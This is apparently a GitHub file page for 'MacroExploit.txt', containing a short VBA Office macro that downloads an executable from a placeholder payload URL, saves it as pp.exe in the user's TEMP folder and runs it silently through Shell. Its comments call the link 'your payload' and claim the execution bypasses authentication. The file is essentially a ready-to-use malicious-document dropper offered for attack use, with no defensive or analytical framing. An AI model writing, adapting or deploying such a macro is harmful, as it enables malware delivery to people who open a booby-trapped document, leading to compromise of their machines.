-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathMacroExploit.txt
More file actions
26 lines (24 loc) · 939 Bytes
/
MacroExploit.txt
File metadata and controls
26 lines (24 loc) · 939 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Sub DownloadExeFileAndExecuteSilent()
Dim strUserFolder As String
Dim strFileUrl As String
Dim strFilePath As String
Dim oHttp As Object
Dim oStream As Object
Dim command As String
strFileUrl = "https://example.com/file.exe" ' Your payload direct download link
strUserFolder = Environ("TEMP") ' Locates Temp Directory
strFilePath = strUserFolder & "/pp.exe" ' Creates the payload as pp.exe in temp directory
Set oHttp = CreateObject("MSXML2.XMLHTTP.6.0")
oHttp.Open "GET", strFileUrl, False
oHttp.send
Set oStream = CreateObject("ADODB.Stream")
oStream.Type = 1
oStream.Open
oStream.Write oHttp.responseBody
oStream.SaveToFile strFilePath, 2
oStream.Close
Set oStream = Nothing
Set oHttp = Nothing
command = strFilePath
Call Shell(command, vbNormalFocus) ' Executes the payload using shell to bypass authentication
End Sub